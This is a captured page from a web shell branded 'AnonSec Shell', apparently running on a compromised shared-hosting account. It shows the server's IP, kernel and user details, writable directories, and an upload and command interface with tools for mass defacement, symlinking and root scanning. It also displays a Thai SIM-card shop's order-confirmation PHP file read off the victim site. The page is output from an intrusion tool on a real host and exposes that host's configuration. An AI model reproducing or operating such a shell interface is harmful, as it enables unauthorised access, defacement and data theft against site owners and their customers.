AnonSec Shell
Server IP : 104.21.37.246  /  Your IP : 172.71.28.146   [ Reverse IP ]
Web Server : Apache
System : Linux cpanel01wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.59.el6.x86_64 #1 SMP Thu Dec 6 05:11:00 EST 2018 x86_64
User : cp648411 ( 1354)
PHP Version : 7.2.34
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home2/cp648411/public_html/simded.com/cart/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home2/cp648411/public_html/simded.com/cart/cart_true_ber.php
<?php
include('../include72/header.php');
include('../themesv2/menu.php');
?>
<div class="container">
  <div class="row">
    <div class="col-md-12">

        <div class="row" style="margin-top:25px;">
        <div class="col-md-12" style="margin-bottom:10px;">
            <p class="HeadText" style="text-align:left">การสั่งซื้อของคุณเสร็จเรียบร้อยแล้วค่ะ</p>
            <p style="font-size:35px;">รายการสั่งซื้อของคุณ</p>

            <span id="alert_listcart"></span>
            <div class="div_com">
             <table class="table tb_list_cart">
                <thead>
                  <tr>
                    <th>ร้านค้า</th>
                    <th width="25%">เบอร์ที่สั่งซื้อ</th>
                    <th width="20%">เครือข่าย</th>
                    <th width="25%">ราคา/บาท</th>
                  </tr>
                </thead>
                <tbody>
                <?php
					$id_order = (int)$_GET['order'];
					$total = 0;
					$list_or = array('table'=>'order_detail','where'=>'id_order = "'.$id_order.'" ORDER BY id ASC' );
					$view_or = $view_db->view($list_or);
					$result_or = $view_db->q_re($view_or);
					while($row_or = $view_db->q_ro($result_or))
					{

						$list = array('table'=>'phonenumber','where'=>'id = "'.$row_or['id_pho'].'"','order'=> "ORDER BY id DESC");
						$view = $view_db->view($list);
						$row = $view_db->q($view);

						$phonenumber = $Phone_class->format_phonenumber($row['phonenumber'],$row['format']);

						$row_mobilenetwork = $actiondata_db->q_one('mobilenetwork','id = "'.$row['mobilenetwork'].'"','image');

						$list_shr = array('table'=>'shop','where'=>'id = "'.$row_or['id_shop'].'" ');
						$view_shr = $view_db->view($list_shr);
						$row_shr = $view_db->q($view_shr);

						?>
						 <tr>
							<td><div><a href="<?php echo $Url_shop.$row_shr['codeshop']?>"><?php echo imgprofile_shop($row_shr['image_profile'],'34').' ' . $row_shr['nameShop']?> </a></div></td>
							<td><div><?php echo $phonenumber; ?> </div></td>
							<td><div><img src="<?php echo $upload ?>mobilenetwork/<?php echo $row_mobilenetwork ?>" width="50"></div></td>
							<td><div class="td_end"><?php echo number_format($row['price'])?> </div></td>
						  </tr>
						<?php
						$total =  $total + $row['price'];
					}
				?>
                </tbody>
              </table>
              </div>

                <div class="row" style="border-bottom:1px solid #f4eedc;padding-bottom:10px;color:#000;font-size:20px;">
                  <div class="col-xs-8" align="right">  ราคารวม  &nbsp;&nbsp;&nbsp;&nbsp; </div>
                   <div class="col-xs-4" align="left"> <?php echo number_format($total)?>  บาท</div>
                </div>
				<?php
                $sql_m = array('table'=>'orders','where'=>"id = '".$id_order."'");
                $viewid_m = $view_db->view($sql_m);
                $row_m = $view_db->q($viewid_m);
                ?>
                <?php $sip=$row_m['delivery_p'];?>
                <div class="row" style="border-bottom:1px solid #f4eedc;padding-bottom:10px;color:#66be89;font-size:20px;">
                  <div class="col-xs-8" align="right"> <?php echo $row_m['delivery']?>  &nbsp;&nbsp;&nbsp;&nbsp;</div>
                  <div class="col-xs-4" align="left"> <?php echo number_format($sip)?>  บาท</div>
                </div>
                <?php $sumtotal = $total + $sip ;?>
                <div class="row" style="border-bottom:1px solid #f4eedc;padding-bottom:10px;color:#F00;font-size:20px;">
                   <div class="col-xs-8" align="right"> ราคารวม  &nbsp;&nbsp;&nbsp;&nbsp;</div>
                  <div class="col-xs-4" align="left"> <?php echo number_format($sumtotal)?>  บาท</div>
                </div>





        </div>
        </div>

        <div class="row" style="margin-top:25px;">
        <div class="col-md-12" style="margin-bottom:10px;">

        	<div class="row">
              <div class="col-md-8" style="background-color:#fff6da;padding-top:20px;padding-bottom:20px;margin-top:20px;">
              <p class="HeadText" style="text-align:left">ที่อยู่การจัดส่ง</p>
              <p style="font-size:18px;padding-top:25px;">
              	รายละเอียด <br>
                คุณ<?php echo $row_m['name'] .' '. $row_m['lastname']?><br>
               	<?php echo $row_m['address']?><br>
                จ. <?php echo $row_m['name'];?>   <?php echo $row_m['zipcode']?> <br>
                โทร. <?php
				$phone = $Phone_class->format_phonenumber($row_m['phone'],1);
				echo $phone; ?> <br>
                Email : <?php echo $row_m['email']?><br>
              </p>

              <div style="padding-top:25px;" align="center">
                  <div class="form-group">ระบบได้จัดส่งอีเมลยืนยันการสั่งซื่อให้ท่านเรียบร้อยแล้วค่ะ     </div>
              </div>
              </div>
            </div>






        </div>
        </div>



     </div>
  </div><!--/row-->
</div>
<?php
include('../themes/footer.php');
include('../include/footer_js.php');
?>

Anon7 - 2022
AnonSec Team